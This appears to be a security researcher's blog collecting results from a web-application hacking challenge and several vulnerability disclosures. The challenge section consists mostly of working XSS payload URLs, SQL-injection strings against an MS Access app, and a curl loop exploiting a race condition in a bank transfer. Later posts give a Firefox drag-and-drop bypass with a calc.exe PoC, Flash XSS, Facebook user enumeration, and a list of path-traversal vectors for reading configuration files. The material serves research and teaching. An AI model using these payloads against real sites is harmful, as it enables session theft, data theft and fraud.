<iframe id="x" src="http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=\&input2=%29%29{}}location.href=name/*&input3=%29;function%20a%28%29{//*/;function%20b%28%29{//" width="320" height="240"></iframe>
<pre>
<script type="text/javascript">// <![CDATA[
document.getElementById('x').contentWindow.name="javascript:alert('Masato Kinugawa')";
// ]]></script>

@kinugawamasato (very interesting cross site technique, +NoScript):

<iframe src="http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=)){}}location.href=name;function%20a(){function%20b(){/*/%27&input2=\&input3=\&quot; id=" width="320" height="240"></iframe>
<pre>
<script type="text/javascript">// <![CDATA[
document.getElementById('x').contentWindow.name="javascript:alert('Masato Kinugawa')";
// ]]></script>

@TheWildcat (Input disorder):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=%27%29%2c%28%27&input3=%2a%2f%61%6c%65%72%74%28%22%74%68%65%77%69%6c%64%63%61%74%22%29%3b%20%7b%7b%20%2f%2f&input2=%74%65%73%74%27%29%3b%7d%2f%2a

@TheWildcat (Input disorder, +NoScript):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=%27%29%29%3b%2f%2a&input3=%2a%2f%7d%61%6c%65%72%74%28%22%74%68%65%77%69%6c%64%63%61%74%22%29%3b%20%7b%7b%2f%2f

@abysssec (2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&input2=')/*&input3=*/;}t();function t(){alert(/Milad/);{//

@abysssec (2 inputs):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=test1&input2='))/*&input3=*/alert(0);}t();function t(){alert(/Milad/);{//

@avlidienbrunn (2 inputs):

http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=AAAA&input2=aa')==null){+}%0A/*&input3=*/}+alert(/avlidienbrunn/.source);+function+die(){if(1==1){//

@avlidienbrunn (2 inputs):

http://sdl.me/challenge1/xss1/JsChallenge1.asp?input1=test1&input2=something')%7B%7D%0a/*&input3=*/}alert(/avlidienbrunn/.source);function+x(){if(1==1){//

@superevr (Gareth Heyes Method + Forcing IE9 to use standard mode, 2 inputs):

http://nevr.co.cc/imp.php?nofil&plain_xss=<!DOCTYPE html><iframe src="http://sdl.me/challenge1/xss1/JsChallenge1.asp%3finput1=test1%26input2=2'){}}%20try{/*%26input3=1*///'}finally{onerror=alert;throw document.domain};{{//"></iframe>

@superevr (Gareth Heyes Method + Forcing IE9 to use standard mode, 2 inputs):

http://nevr.co.cc/imp.php?nofil&plain_xss=<!DOCTYPE html><iframe src="http%3A%2f%2fsdl.me%2fchallenge1%2fxss2%2fJsChallenge2.asp%3Finput1%3Dtest1%26input2%3D2%27%29%29%7B%7D%7D%20try%7B%2f%2a%26input3%3D1%2a%2f%2f%2f%27%29%7Dfinally%7Bonerror%3Dalert%3Bthrow%20%27superevr%27%7D%3B%7B%7B%2f%2f"></iframe>

XSS3:

I wanted to implement this in a way that you had to use HPP or other techniques in ASP to receive all the points. However, as you may know, its implementation went wrong and made it really impossible to be exploited in most of the browsers. You can still try to see if you can break it in Mozilla Firefox for example, I couldn’t.

Results:

This question is still exploitable in Internet Explorer by using the Conditional Comments in JavaScript (http://en.wikipedia.org/wiki/Conditional_comment).

Exploit/Vectors:

@kinugawamasato (IE9 bypassed by me [@irsdl] by using homo-characters technique in the parameter name – will be explained in another blog post):

http://sdl.me/challenge1/xss3/JsChallenge3.asp?Input1=*/alert%28%22@kinugawamasato%20and%20@irsdl%22%29;{{//%20@end%20@*//*%27%29%29;};{1&in%u2119ut1=1}/*@cc_on%20@if%281%291;@else

@avlidienbrunn (IE9 cannot simply detect this!):

http://sdl.me/challenge1/xss3/JsChallenge3.asp?input1=@end+function+x(){if(1==1){+//*/+alert(/avlidienbrunn/.source);+@if(!1)')==null){}}/*

SQL Injection:

The first part of this question was a blind sql injection. The second part was a bit trickier as it was a MS Access database; you had to write your query in a way to run differently in the second execution of the Query. Free space character (“ ”) was also filtered and you had to use something else.

Anyone who could solve the second part, automatically had the answer of the first part as well. However, all the contestants solved the both parts separately.

Results:

The free space character could be replaced by Tab character (“%09”), Line Feed (“%0A”), Carriage Return (“%0D”), and a plus sign (“%2B”). Moreover, the following characters in UTF-8 can be used in ASP to do the same thing:

%u 2556, %u 2510, %u 253c, %u 256c, %u 256b, %u 256a, %u 251c, %u 2518, %u 250c, %u 2514, %u 255d, %u 255a, %u 2553, %u 2555, %u ff0b, %u 255c, %u 255b, %u 2557, %u 2559, %u 2554, %u 2552, %u 2558

.

The first part could be exploited by using the normal method of blind SQL injection. As you already had the sample database and the source code, it could be done easily.

For the second part, there were three kinds of solution:

1- (The easiest) using the terminator character for MS Access and change the sorting order:

First query:

Set rs1 = oConnection.execute("select username,permission from users where id=" & input_id & " Order by id")

Second Query:

set rs2 = oConnection.execute("select username,password,permission from users where id=" & input_id & " Order by id")

You can see that in the 2nd query, we have selected the “password” field in the second field which was not in the first query. Therefore, if we could order them by using the second field, we could solve this section. Second field in the first query is “permission” and in the second query is “password”. However, as the queries already have the “Order by” part, we have to truncate the query. According to “https://www.owasp.org/index.php/Testing_for_MS_Access”, we can use the “%16” character to truncate the query. Note that null character “%00” cannot be used as it will terminate the text in ASP (before going to the query).

2- Using a time function with an IF condition in MS-Access:

As you may not be able to get the milliseconds in MS-Access, you need to create a delay between the first and the second queries.

3- Using a random number generator function with an IF condition in MS-Access:

Random number generator in MS-Access is a bit tricky as it can generate the same sequence of numbers whenever you run the application. However, you can use this feature (bug?) to have a stable exploit.

Exploits/Vectors – Blind SQLi:

@LightOS:

http://sdl.me/challenge1/sqli/exploitme.asp?id=IIF%28%28select%0ATOP%0A1%0Amid%28passworp,1,1%29%0Afrom%0Ausers%0Awhere%0Aid=8%29=chr%2874%29,1,2%29

@kkotowicz:

http://sdl.me/challenge1/sqli/exploitme.asp?id=3%09UNION%09SELECT%09ALL%09top%091%09papasswo,'111'%09from%09users%09where%09id%3d8%16

@spectresearch:

http://0me.me/files/soroush.secproject.com/mdb_blind.py

@avlidienbrunn:

http://sdl.me/challenge1/sqli/exploitme.asp?id=(-1)UNION%0ASELECT%0Ausername,password%0AFROM%0Ausers%0AWHERE%0Ausername='admin'%16

@abysssec:

http://0me.me/files/soroush.secproject.com/MS-Access.py

@yousukezan:

http://sdl.me/challenge1/sqli/exploitme.asp?id=8%09and%09password%09like%09%27owasome![!-/][!-/]%27

Exploits/Vectors – Reading the Secret:

- Using ordering trick:    

@kkotowicz:

http://sdl.me/challenge1/sqli/exploitme.asp?id=1%09or%09id%3d8%09order%09by%092%09desc,1%16

@abysssec:

http://sdl.me/challenge1/sqli/exploitme.asp?id=1%0aor%0a1=1%0aorder%0aby%0a2%0adesc,id%16

@LightOS:

http://sdl.me/challenge1/sqli/exploitme.asp?id=id%0dand%0did%0d%0din(1,8)%0dorder%0dby%0d2%0dDESC%16

- Using time functions:

@spectresearch:

http://0me.me/files/soroush.secproject.com/get_secret_area.py

@TheWildcat:

http://sdl.me/challenge1/sqli/exploitme.asp?id=IIf(Second(now())%09Between%0933%09And%0934,1,8)%09and%09(SELECT%09count(*)%09FROM%09users%09AS%0920T1,%09users%09AS%09T2,%09users%09AS%09T3,%09users%09AS%09T4,%09users%09AS%09T5,%09users%09AS%09T6)%09NOT%09IN%09(1,2)

- Using random number generator:

@peterjaric:

http://sdl.me/challenge1/sqli/exploitme.asp?id=iif%28Int%281.7*Rnd%29,1,8%29

Vulnerable Bank Application:

It was a classic question about a vulnerable bank application. However, in here it was not vulnerable to a XSS or a SQL Injection, and you still had to increase your money. This is the current vulnerability of several web applications which do not have any protections against Race Condition issues.

Results:

The problem that we had in this application was a race condition issue when it was getting the current amount and decreasing and increasing money in the database. You could increase your money basically be sending a lot of requests at the same time to transfer money from one account into another (the best exploitation technique is when you transfer money from one account into the other accounts at the same time [classic to saving and ISA in this example]). Even if I did not have any delay in the application it was still exploitable! Using Transactions (http://www.w3schools.com/ado/met_conn_begintrans.asp) could save this bank, but it could lead to a denial of service at the same time. The solution of this problem should be implemented really carefully to not lead to a dead-lock.

Exploits:

@peterjaric (Simple Explanation):

(1) newBalanceDEC = cDbl(GetAmount(userID, fromacc) - amount)
(2) oConnection.execute("update accounts set " & fromacc & "="&newBalanceDEC&" where [enabled]=1 AND ID="&userID&"")
(3) newBalanceINC = cDbl(GetAmount(userID, toacc) + amount)
(4) oConnection.execute("update accounts set " & toacc & "="&newBalanceINC&" where [enabled]=1 AND ID="&userID&"")
There is no concept of thread safety in this code, so what could happen if two request to transfer money between the same two accounts would come in at the same time? There is no guarantee that one request (call it 'A') would run first and then the other (call it 'B'). They might get interleaved like for example this (assuming transfer of 1 from Classic account with 100 to Savings with 0):
A1 newBalanceDEC = 99
B1 newBalanceDEC = 99
A2 Classic = 99
B2 Classic = 99
A3 newBalanceINC = 1
A4 Saving = 1
B3 newBalanceINC = 2
B4 Saving = 2

@peterjaric (Simple Exploit):

$ alias doit='curl http://localhost:9000/vulnbankapp/transfermoney.asp -d "userID=36&fromacc=1&toacc=2&amount=1&password=123456"'

$ doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit & doit …

@kkotowicz:

http://0me.me/files/soroush.secproject.com/bank-App.py

Exploitation Video by using Burp Suite Pro.:

Hall of Fame:

There is a direct link to Hall of Fame accessible via Project menu:

Click here to see Hall of Fame

 (http://soroush.secproject.com/blog/projects/hall-of-fame-challenge-series-1/)

The rules are as follows:

General Rules:

1- Identical answers will be counted only for the first reporter.
2- Please do not use automated tools on the targets as they can lead to a denial of service for other contestants.
3- Please do not publish your answers till the deadline. Thanks in advance.

XSS Rule(s):

You need to “alert” your name on the screen. You are not allowed to create a new HTML tag.
Note: it is ASP!…

SQL Injection Rule(s):

You need to exploit the provided sample website to: 1- read the admin password and 2- achieve the secret text which means you have reached the forbidden area successfully.
I think you need to take a look at the source code for this one! The database is a MS Access database which makes it more challenging.

Vuln Bank Application Rule(s):

You need to increase your total money to more than 100.
You have the source code (ASP VBScript) to be able to try this vulnerable bank application offline. (“resetall.asp” is just for debugging purposes)

Questions are as follows:

Download links are as follows:

- http://Soroush.secproject.com/downloadable/secproject.com-challenge1.zip
- http://sdl.me/challenge1/secproject.com-challenge1.zip

XSS1:

Test Target = http://sdl.me/challenge1/xss1/JsChallenge1.asp

XSS2:

Test Target = http://sdl.me/challenge1/xss2/JsChallenge2.asp

XSS3:

Test Target = http://sdl.me/challenge1/xss3/JsChallenge3.asp

SQL Injection:

Test Target = http://sdl.me/challenge1/sqli/

Vuln Bank Application:

Test Target = http://webapsecchall01.brinkster.net/vulnbankapp4543334/ [currently does not work due to the hosting problem - please run it locally for your testing]
Note: A fresh target will be provided for you if you can explain the vulnerability correctly and you want to exploit it.

Goals and Pointing System:

XSS Points (Max 60 Points – Per Each):

Mozilla Firefox 12.0 without NoScript: +5 Points
IE9 Anti-XSS Bypass: +15 Points
Latest Chrome Anti-XSS Bypass: +10 Points
IE9 & Chrome at the same time with 1 link: +5 Points
NoScript Bypass: +25 Points
Note: In order to get the points, you need to send me the link(s) that will lead to an “alert” message by opening it. If you are using any specific encoding/packing that make your inputs unreadable, you need to explain your method briefly. If each link is related to a specific browser, please mention that as well next to it.

Amendment (new): XSS3 now has double points (120 points in total) due to a problem in its implementation which made it extremely hard. 

SQL Injection Point (Max 60 Points):

Reading the admin password: 20 Points
Running the code in the critical area of the code and achieving the secret code: 40 Points
Note: In order to get the points, you need to send me the link(s) that can perform the attack along with its explanation.

Virtual Bank Application Point (Max 60 Points):

Correct Explanation: 20 Points
Exploitation on a Custom Website: 40 Points
Note: In order to get the points, please send your explanation in English. If you think it is easier for you to send me a video link for this exploit, you can also add that to your explanation. Please tell me if you want to exploit the vulnerability on a sample link, then I can send you the relevant link if your explanation was correct.

History of These Questions:

This challenge is based on real and interesting issues that I have seen during my web application testing. I thought it can be good to share some of them with you to challenge your skills. The XSS issues came from an issue in Yahoo.com website two years ago which has been fixed now. The SQL Injection issue was inside a popular web application which I cannot announce its name and you may already know it; and the last issue is a general vulnerability of many web applications.
I have added some spice to the questions to make them even more interesting. All of these issues are exploitable (XSS3 has not been tested previously), but you need to be initiative to get more points.

Thanks to: Mario Heiderich, Ben Sheppard, and Gareth Heyes for their comments on this challenge. As they do not have the answers, they can still attend this challenge!

After all, here are the details (this bug has already been patched by Facebook):
Title of reported issue: “How to find unsearchable people by their emails in Facebook”
In order to search someone -even if they made themselves unsearchable with hidden emails- by their email addresses, it was possible to do the following steps:
1- Login into your Facebook account (you need to have an activated account with a verified email).
2- Open the following page: https://www.facebook.com/ads/manage/settings.php
3- Now under the “Permissions” section, click on “Add a User”.
4- Enter the email address that you are looking for in the box and click on “Add” and wait to see the response (it is better to choose “Reports Only” instead of “General User”). If you have not received “Invalid User” error, it means you were successful.
5- Now after refreshing the page, you should be able to see the requested user under the “Permissions” area.
6- If you click on the user’s name, you should be able to see his/her public profile.
By using this method, you could be able to find First Name, Last Name, and Facebook User ID of the user just by having his/her email address.

Recommendation to the users:
- It is always better to use a private email address in social networking websites if you really want to be unsearchable.

Recommendation to the Developers in similar situation:
- If there is any policy in the application, it should apply to all different parts of it. I suggest using the shared secure libraries that meet the requirements is one of the best options.

First of all, this vulnerability and the related techniques have already been reported to Mozilla on 21st Nov 2011, without having any specific result till the date of this report (issue ID 704354 – works on all the latest versions which support HTML5). I had raised this bug as a major issue, but it seems it was not important from Mozilla Firefox point of view and its risk is not high at all.

However, NoScript can protect the users against it from version 2.2.3 [released about three weeks ago] (http://noscript.net/changelog) – thanks to Giorgio Maone for the fast response and quick fix.

As there is already a solution for this issue and its impact is not high, I am going to publish my research results as they belong to 2011!

Introduction

As you may have noticed, most of the modern browsers are recently protecting their users from running unwanted JavaScript by copying and pasting it in the address bar or even by dragging and dropping it into a web page. In this research, I have found a technique to bypass Drag/Drop protection in Mozilla Firefox to run a JavaScript. As a final result, it is possible to drag and drop a hidden JavaScript into a predefined HTML5 box and run the Javascript code. Unfortunately, if you put this page in an IFrame, the Javascript code can be run on the context of the main site that includes the IFrame. For instance, When Facebook opens any URL in a frame, it is possible to run a JavaScript code on Facebook website by drag and drop jacking.

The current protection

In order to understand the Mozilla Firefox protection against JavaScript Drag and Drop, follow these steps:

1- Go to Mozilla Firefox address bar and type “javascript:alert(1)” without pressing Enter.

2- Select all the string that you have just typed (“javascript:alert(1)” without quote signs).

3- Drag and drop it on a new tab or on the context of the same tab that you currently have. You will not receive any alert message.

First bypass method- Letter Capitalization

Now, in previous steps, capitalize one or more letters in the “javascript:” string (for instance “jAvAscript:”) and drag/drop it into the page. You should be able to see an alert message as you have bypassed the Mozilla Firefox protection!

Second bypass method- XSS by Feed Protocol

I have also found another interesting protocol in Mozilla Firefox that can lead to running a JavaScript. This protocol can be used as follows to bypass the Mozilla Firefox prevention method:

“feed:javascript:alert(1)”

“feed:feed:feed:javascript:alert(1)”

“feed:javascript:javascript:feed:alert(1)”

“feed:feed:javascript:javascript:feed:alert(1)”

” feed:feed:feed:javascript:alert(1)”

A possible exploitation method – HTML5 drag/drop functionality

In this step, I had to find a way to use the issue and exploit the system to prove that it can be an important security risk; however, there are two facts that made it a bit difficult:

1- There is no point if we cannot run the JS code on the context of another site.

2- We need the user interaction to d/d a JS code. And it is not easy to deceive the users to d/d a JavaScript code when it is visible.

The first problem has been solved by using HTML5 D/D functionality that I have found from the following URL: “http://html5demos.com/drag“; I found out, if I drag and drop the “feed:javascript:alert(1)” to the drop location, the JavaScript will run due to the redirection. And interestingly, if this drop location is inside an IFrame, the main page will be redirected and therefore we can conduct an XSS attack on the context of the main website.

The second problem was also solved by using a hidden “textarea” tag that I found during my tests! In Mozilla Firefox, if you select a text with a hidden textarea, all the texts in that hidden textarea will be selected as well.

I have created a proof of concept which can be found in the following link:

PoC: http://soroush.secproject.com/downloadable/demo/FF_DragDrop_XSSHost_simp.html

Conclusion

In this research, I was able to bypass Mozilla Firefox – Javascript Drag and Drop by using capitalization and Feed protocol. Then I was able to exploit this issue to run a JavaScript code in the context of another website which can accept an external frame by using the HTML5 drag and drop functionality.

Future Works

It is still possible to bypass Mozilla Firefox prevention method by finding another protocol or maybe by using the encoding techniques.

If someone drags and drops a JavaScript into a page with “chrome://” protocol, it can lead to a local code execution; however, this protocol is highly protected by Mozilla Firefox and I was not able to find a way to make it possible. As a PoC, drag and drop the following Javascript code into the “chrome://global/content/config.js” page to run the local Windows Calculator:

“feed:jAvAscript:file=Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);file.initWithPath(‘c:\\windows\\system32\\calc.exe’);process=Components.classes['@mozilla.org/process/util;1'].createInstance(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0);void(0);”

However, I have updated the “Advisories” section with my new reported issues in Some Mozilla Products, IIS, and Adobe Reader/Acrobat.

I hope I can find more free time soon :-)

This post is a result of reading the following useful report:

The other reason to beware ExternalInterface.call() (http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html)

The issue that I want to discuss here is not something different; however, I want to add something to the current materials.

Description:

According to the Adobe website, ExternalInterface.call() can accept a JavaScript function name as the first argument and a string which would be sent to that JavaScript function. Adobe says “When the call is to a JavaScript function, the ActionScript types are automatically converted into JavaScript types; when the call is to some other ActiveX container, the parameters are encoded in the request message.”. Therefore, in our case, the string would be converted into JavaScript type.

All we are trying to say is that it is possible to inject a specific parameter to an input and change the way of running the JavaScript. I should say it is very similar to the current code Injection methods in which we actively change the queries/requests to run whatever we want!

Proof of Concepts:

I want to explain it by using the example that Adobe has put in its document. I have put all the files in the following URL: http://0me.me/demo/adobeflash/ExternalInterface.call/ . Please use Mozilla Firefox if you want to see the same error messages as this PoC.

Now follow these steps:

1- Open this link: http://0me.me/demo/adobeflash/ExternalInterface.call/demo.html

2- Enter “\”” in the flash box (dark box) and press the gray button in front of it:

3- Now, you should be able to see this error in Error Console:

As you can see, we could escape the slash character “\” which was for escaping the double quotation character. Therefore, we are able to inject our JavaScript here now.

4- Now, try to enter “\”));alert(/XSS/)}catch(e){}//” in that box and press the gray button. You should be able to see the alert message:

It is because of the fact that we could complete the main functions and comment the remaining bits which is the method of code injection.

Now, you may think that we need to have a valid JavaScript function in the page or you may even think we always need to have a HTML file. I will explain this in the next section and I will prove that you can execute a JavaScript code even by running the SWF file directly without using any HTML file or JavaScript function.

Run the flash file directly now:

Now I want to add this bit that we do not need to have a real JavaScript function or a HTML page to execute a JavaScript code under the website content. In this case we only need to put the JavaScript code inside the “catch” section. This is the PoC:

1- Open this URL: http://0me.me/demo/adobeflash/ExternalInterface.call/ExternalInterfaceExample.swf

2- Now, enter the following text in the box and press the button:

“\”));alert(/XSSThis/);}catch(e){alert(/XSSOr/)}//”

3- You should be able to see this message now:

As a result, we can do a XSS attack just by opening a vulnerable or malicious/uploaded SWF file.

Note: you may have problem with closing the alert window in some browsers.

Why can this be a risk?

The websites which are using ExternalInterface.call() with the user’s provided input -without having input validation- can be in risk of having XSS vulnerability. Besides, an attacker can upload a malicious SWF file when a website lets him/her do so in order to make the website vulnerable to XSS attack – in this case I should say, an attacker might be able to do more than a XSS by uploading a SWF file.

Solution(s):

If we think about this code injection, it is really another input validation issue. It again says that the developers must not trust the provided inputs and we certainly need to have input validation when we receive the user’s input.

Note: Regarding the main reference of this text, Adobe has not accepted this as an issue to fix it fundamentally yet.

References:

- The other reason to beware ExternalInterface.call() http://lcamtuf.blogspot.com/2011/03/other-reason-to-beware-of.html

- Agora 3.0.0 RC1 Rev.4 XSS Vulnerability http://jeffchannell.com/Joomla/agora-300-rc1-rev4-xss-vulnerability.html

- Finding Vulnerabilities in Flash Applications http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

- Cross-Site Scripting through Flash in Gmail Based Services http://blog.watchfire.com/wfblog/2010/03/cross-site-scripting-through-flash-in-gmail-based-services.html

- ActionScript 3.0 Language and Components Reference http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/external/ExternalInterface.html

- Code Injection http://en.wikipedia.org/wiki/Code_injection

There was a Cross Site Scripting (XSS) vulnerability in hero’s mansion rename section. This issue was because of using “id” and “gid” input parameters at the same time. “gid” was used for loading the hero’s mansion, and “id” was used to insert a Javascript code. You can only see one of them as an input for a single file at the same time. However, I used them together and found this vulnerability:

http://sN.travian.EXT/build.php?gid=37&id=<script here>&rename

As there was a “httponly” flag for the cookies, it was not possible to hijack the sessions. However, we could still use it to do several things. The simplest one was to hijack the saved username/password from the browser. I should say that there was another issue with the login page last year based on which someone could create the Travian cookie and log into the system by the victims session.

There was also another issue with validation of unique email addresses by which a user could create several accounts with the same email address. It was sufficient to enter a “comma” in front of the email address to have a new valid email address. For example someone could register several times without having any problem in receiving the confirmation code by using “test@secproject.com”, “,test@secproject.com” , “,,test@secproject.com”, and so on.

Fortunately these issues have been patched after more than a year. This delay was only because of not having a direct reference to contact as no one/source was publicly responsible for the security issues.

These issues go back to June 2009. Related Link: http://soroush.secproject.com/blog/2009/11/travian-game-vulnerabilities-in-progress/

Note: I highly suggest the providers to put at least one email address in their contact page for normal bugs and security issues. They should also have a process to fix a security issue and give its credit to the finder(s) somehow (by putting the finder’s name in the website news, release notes, …) if they do not want to pay for their vulnerabilities! It is a pain when the security researchers can only see sale and marketing email addresses in many of the providers’ contact pages; and that’s why too many of these security issues are being published before having any patch every day.

Unrestricted File Download V1.0 – Windows Server

I do not want to talk about Insecure Direct Object References without any protection as they are obviously exploitable; Instead, I want to talk about bypassing the protected ones! The problem that I want to explain here is how hard it is to protect a system that uses Insecure Direct Object References by using black-list technique.

Whenever penetration testers see a website which accepts a path as an input, they think about these questions:

1- Can I have access to the secret files?

2- Can I do directory traversal?

3- Can I modify another file?

4- Can I do race condition?

And so on.

The answer from programming point of view is: “it depends!”:

1- If they have no protection in-place: “Yes. Yay!”

2- If they are using black-list method: “Think about a bypass now! There should be a way and I just need to find it! Think about encodings, decoding, effective characters, behaviour of the system against special characters, and so on.”

3- If they are using white-list method: “Is there anything on the list that can be misused? Can I stick some of them together to make another character or change the behaviour of the system?”

My point is that there is often a way to bypass a black-list. However, it is not the same for white-list if you do it correctly.

Let’s Bypass a Blacklist Method

Now, I want to use a case to show an example of using black-list, and methods of bypass.

Assume we have “www.vulnerable.com/download.aspx” which accepts a file path as an input and reads it and loads it into the output. (To make it easier, “/upload” folder is on the root of the website)

For example: “/download.aspx?file=/upload/document.doc”

Now, if you try the following inputs, you will receive an “access denied” error from the page:

“/download.aspx?file=web.config”

“/download.aspx?file=download.aspx”

“/download.aspx?file=/download.aspx”

But, if you try the following inputs, you will receive a “file not found” error or a blank-page from the page:

“/download.aspx?file=test.doc”

“/download.aspx?file=/upload/../test.txt”

“/download.aspx?file=/test.f0ob4r”

According to the response of the page, obviously, it is using a black-list method.

These are the first things that I can think about (my pre-test-cases):

0- Use uppercase, lowercase, and Unicode in the extension. For ex: “/download.aspx?file=/wEB.CoNfiG” and so on.

1- As you might know, there are some characters after the filename that will be ignored by Windows. So, I should try something like “/download.aspx?file=/web.config.” or “/download.aspx?file=/web.config… ..”

2- Using short filename format of the file: “/download.aspx?file=/web~1.con”

3- Using null character: “/download.aspx?file=/web.config%00.txt”

4- Using another extension in the path: “/download.aspx?file=/test.txt/../web.config”

5- Using different space characters in the path: “/download.aspx?file=/web.config%09”, “/download.aspx?file=/web.config%0a”, “/download.aspx?file=/web.config%0b”, “/download.aspx?file=/web.config%0c”, “/download.aspx?file=/web.config%0d”, “/download.aspx?file=/web.config%20”, and so on (similar to 1).

6- Finding a character that is removed by the web application automatically before loading a file to put it in the extension and bypass the black-list protection.

7- Try alternate data stream to read the files: “/download.aspx?file=/web.config::$Data”

8- Try to use direct path and share path. Ex: “/download.aspx?file=c:\\windows\\win.ini”, “/download.aspx?file=\\?\c:\\windows\\win.ini”, or “/download.aspx?file=\\127.0.0.1\c$\WINDOWS\\win.ini”

9- Try to do directory traversal. Ex: “/download.aspx?file=../../../../../../../../../../../boot.ini”

10- Try other file-system understandable vectors. Ex: “/download.aspx?file=web.config/.”, “/download.aspx?file=web.config\.”, and so on (similar to 1).

And combination of the above solutions to create more complicated test cases!

What do you think? Please let me know if you know any other interesting test case. This is the result:

Each of the above vectors could lead to bypassing the protection. Now, I can tell you that the actual vulnerable source code of the page was:

And, we can download the confidential files with different vectors (see number 0, 5, and 10 on the table above). Now, an attacker can download the entire website and look for the credentials, hidden files and folders, and find any other vulnerability such as SQL Injection by having the source code.

Secure and Effective Solution

Now, what can we do to stop this attack? These are the general solutions:

1- Do not use direct object references when it is possible:

For indirect references, use something random, hard to guess, and meaningless such as GUIDs. You need to implement more functions and invest more time on programming and debugging. However, your achievements are:

1.1- Increasing the Security by using strong random pointers such as GUIDs

1.2- Easier asset managing and have different access controls

2- Force yourself to always use white-lists:

It is very rare that you have to only use a black-list for an input! If an input is random and unpredictable, you may need to redesign that input. Write down the input purpose(s) and do whatever you can to restrict it to a range of characters. Now, think about this range and review the characters one by one. Is there anything in the list which can cause an issue? Do you need to allow any other characters besides [a-zA-Z0-9]? Why? Think about it and follow the best security practices.

Sometimes you need to use blacklist after passing the input from a white-list to have more security. For example: an input can contain a file path. Therefore, we should allow dot “.” character. However, we should not allow any double dot “..” as it can cause directory traversal.

If you are designing a system, look for the vulnerabilities which have been reported on the similar systems in Internet. You may find something that you had not had any knowledge about it before! Do not think that you know everything! Even a semi-colon or colon can compromise your system sometimes.

Talk about your system with the security people; with experts (not script kiddies). You can ask your questions in different security forums to find a clue. Ask them to break your protection to improve the security.

Note 1: a bad implementation is worse than not having any implementation! When you don’t have any protection, at least you know you do not have anything to protect yourself and the system is unsafe!!! However, when you have an insecure/bad implementation, you think the system is safe enough but it is not, and attackers will find this out – trust me!

Note 2: If you are putting different inputs next to each other, it is better to pass them at least through a black-list protection after concatenation.

Now, without using an indirect reference, two solutions for our vulnerable example (“www.vulnerable.com/download.aspx”) can be:

Solution 1 (More White-list – more restricted):

1- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS). (Black-List)

2- Replace all the dot characters before the backslash character (“.\”) with a single “\” character in order to make the validation easier. (Black-List)

3- Only accept limited characters as an input: RegEx: (([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*

4- File name should start with: RegEx: ^[a-zA-Z0-9\\] (White-list)

5- File name should end with: RegEx: [a-zA-Z0-9]$ (White-list)

Then a general ReGex will be (include 3, 4, and 5): ^([a-zA-Z0-9\\]{1})(([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*([a-zA-Z0-9])$ (White-list)

6- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)

Limitation: It is not possible to use Unicode or special characters in the file or the directory name.

Solution 2 (More Black-List – less restricted):

1- Trim the input to remove unnecessary spaces (Black-List)

2- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS). (Black-List)

3- Replace all the “..” with “.” character in a loop till you cannot find any “..” anymore. (Black-List)

4- Replace all the space and dot characters before and after the “\” character with a single “\” character in order to make the validation easier. (Black-List)

5- Replace all the “\\” with “\” character in order to make the validation easier. (Black-List)

6- Path should not contain these characters: RegEx: [^:*?"<>|;~] – (for Windows OS)

7- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)

Quick Conclusion:

Stop using blacklist protections for direct object references if you cannot use indirect ones. Moreover, do not forget to talk to the specialists to implement it correctly.

Final Words

Please send me your feedbacks via my email address (irsdl at yahoo dot com) to improve this white-paper. You can use whole or part of this document by putting a reference to the author (Soroush Dalili) and link of the main document.

Currently just by using Google, a lot of vulnerable websites and Content Management Systems (CMS) can be found. If you find an issue based on the content/idea of this paper in a permitted system (such as your website CMS), please report it to its legal authority to patch the system as soon as possible; and I would be thankful if you put a link to this document as a reference in your advisory.

However, please do not use this knowledge against any website or system without having a legal permission. And, I do not accept any responsibility for any usage from this white-paper and its content/idea.

Reference(s):

- OWASP, Unrestricted File Upload: http://www.owasp.org/index.php/Unrestricted_File_Upload

—
Downlaod the PDF file: http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf
—
Backup link is also available: http://0me.me/files/soroush.secproject.com/Unrestricted_File_Download_V1.0.pdf

Now, I want to show a flaw in this process in which by clicking on an external URL in Facebook, users can go directly to the destination URL without passing the “facebook.com/l.php” page:

Add a “:/” at the end of the domain name! That’s it!
PoC:
Put these links in a comment section on your Facebook page and click on them too see the result (If you know how to work with local proxy tools such as burp suite, you can directly post a link on your wall [not just in comment section] with “:/” in the URL to exploit this flaw):
     - https://fp.auburn.edu:/oit/show_server_variables.asp
     - http://soroush.secproject.com:80:/

Now, do not click on the links which have “:/” after the domain name with or without port number! (18 Dec. 2010)

NOTE: This issue had been reported to Facebook at least twice more than 1 month ago without having any response.

However, Gareth Heyes has already written great things about it that I can just refer you to the pages (instead of writing it again):

http://www.thespanner.co.uk/2010/10/31/jsreg-bypasses/
http://rgaucher.info/planet/The_Spanner/2010/11/07/Soroush_Dalili_breaks_JSReg_again

Gareth is writing these functions alone, so if you have any great idea please let him know. He is a nice and clever guy; so, do not miss your chance to have a great friend!

Again, thanks Gareth.